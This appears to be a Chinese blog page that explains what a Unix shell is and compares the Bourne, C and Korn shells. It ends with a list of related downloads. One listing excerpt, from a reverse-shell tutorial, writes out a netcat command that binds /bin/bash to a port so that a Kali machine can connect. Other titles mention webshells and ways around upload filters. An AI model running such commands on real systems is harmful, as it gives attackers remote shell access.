`

什么是shell?目前shell主要有几种版本

阅读更多

shell 的最簡單的定義就是---命令解譯器(Command Interpreter):
* 將使用者的命令翻譯給核心處理,
* 同時,將核心處理結果翻譯給使用者。

 

 unix下常见的shell有sh(bourne shell,默认的shell),csh,ksh(korn shell),那我们选择哪一个shell呢? 
 korn shell:是bourne shell的增强,也是偶的选择,它有很多很不错的特性是你的shell script简单高效and faster。
 bourne shell可是在任何unix下都可以找到的shell,选择它也很明智,这样你在各种unix都have a familar  enviroment。


cshbourne shell和korn shell大同小异,就象c++ ,java,c#的差异,而csh便不同了,就象pascal,完全不同,不过也许你偏爱呀。每个用户用什么shell在增加用户时定义,如果你是root,你可以一劳永yi的用usermod -s

/bin/ksh来是试自己login后便用ksh,普通用户要用ksh,可以在当前shell下敲ksh

各个shell在不同的unix目录不同,用type命令可以准确的高诉你一个可找到的命令的类型和位置。有些unix下有whence,都可以啊 

 

 

 

分享到:
评论

相关推荐

    几种常见的asp shell文件 及 清除 shell文件 的方法

    几种常见的asp shell文件 及 清除 shell文件 的方法

    shell脚本中的几种循环操作(附脚本)

    在写Shell脚本时,对于循环的几种写法,我想大家并不陌生。但若不是经常写,也会遗忘一些循环语法,或者只能够想起某一两种语法编写脚本。本脚本中总结了Shell中经常使用的几种循环操作。

    上传图片shell的绕过过滤的几种方法.txt

    上传图片shell的绕过过滤的几种方法.txt

    绝版经典 LINUX与UNIX SHELL编程指南 PDF 高清版 [16.3M]

    shell是一种完整的编程语言,易学易用;shell脚本可以使烦人的手工作业自动化,使你的工作变得简单、轻松!本书通过各种实用的系统管理小技巧和趣味脚本代码,详尽地介绍了shell编程各个不同的方面。学完本书后,你...

    java调用shell脚本执行sqlldr与存储过程

    2、用sh直接执行shell和在java直接执行shell是有区别的,要在shell文件内增加oracle的环境变量即. /home/oracle/.bash_profile 这句话,否则在执行sqlldr会报如下异常: Message 2100 not found; No message file ...

    LINUX与UNIX SHELL编程指南

    shell是一种完整的编程语言,易学易用;shell脚本可以使烦人的手工作业自动化,使你的工作变得简单、轻松!本书通过各种实用的系统管理小技巧和趣味脚本代码,详尽地介绍了shell编程各个不同的方面。学完本书后,你...

    Shell中的for循环总结

    主要介绍了Shell中的for循环总结,本文讲解了shell中for循环用法、shell下for循环的几种方法等内容,需要的朋友可以参考下

    linux使用shell搜索查找文本的几种方法分享.docx

    linux使用shell搜索查找文本的几种方法分享.docx

    实验四 Linux Shell编程入门

    实验四 Linux Shell编程入门 通过实验掌握下列知识: 1、了解Linux下Bash Shell脚本编写的基本要求; 2、了解Bash Shell几种常用的控制结构; 3、能按要求编写简单的Bash Shell脚本;

    WINDOWS之SHELL编程VC篇源码

    几种常见SHELL扩展的例程,经典的很,若是学习SHELL,那无疑是首选。自己先顶一个。

    shell浅谈之二 运算符和if条件判断

    Shell各种判断结构和运算符的用法是shell编程的基础,了解shell的判断、运算符和一些退出状态对后面的学习有很重要的影响。shell有一个内部命令test经常用于对判断语句进行测试一种或几种状态的条件是否成立

    Shell中实现进度提示功能

    相信大家做shell脚本时,经常遇到耗费时间的问题,这时如果有一个进度指示器岂不更好,这在其他语言中很容易就实现了,在shell里也不难,看下边的几种方法

    Shell实现程序造死循环的几种方法示例

    在linux下编程的程序猿都知道shell脚本,就算你不怎么熟悉,也应该听过的吧!那在shell脚本中的死循环该怎么写呢?下面这篇文章就来给大家介绍了关于Shell如何实现让程序造死循环的几种方法,需要的朋友可以参考下。

    Shell中的while循环几种使用实例详解

    今天小编就为大家分享一篇关于Shell中的while循环几种使用实例详解,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧

    详解Shell脚本中调用另一个Shell脚本的三种方式

    主要以下有几种方式: Command Explanation fork 新开一个子 Shell 执行,子 Shell 可以从父 Shell 继承环境变量,但是子 Shell 中的环境变量不会带回给父 Shell。 exec 在同一个 Shell 内执行,但是父...

    详解NC反弹shell的几种方法

    最终是将ubuntu、CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell...

    Linux下Shell脚本中几种基本命令的替换区别

    编写大量shell脚本时,累计了大量经验,也让自己开始迷糊几种函数输出调用的区别。后面和前辈们请教了一下这个问题,大致明白了区别。这里分享给大家,希望对大家能有所收获。下面来一起看看吧。

    shell 后台执行命令

    当你在终端或控制台工作时,...运行,有几种选择方法可供使用。 在本章中我们将讨论: • 设置c r o n t a b文件,并用它来提交作业。 • 使用a t命令来提交作业。 • 在后台提交作业。 • 使用n o h u p命令提交作业。

    在Shell脚本中调用另一个脚本的三种方式讲解

    先来说一下主要以下有几种方式: fork: 如果脚本有执行权限的话,path/to/foo.sh。如果没有,sh path/to/foo.sh。 exec: exec path/to/foo.sh source: source path/to/foo.sh fork fork 是最普通的, 就是直接在...

    Shell中字符串排序的几种方法

    今天小编就为大家分享一篇关于Shell中字符串排序的几种方法,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧

Global site tag (gtag.js) - Google Analytics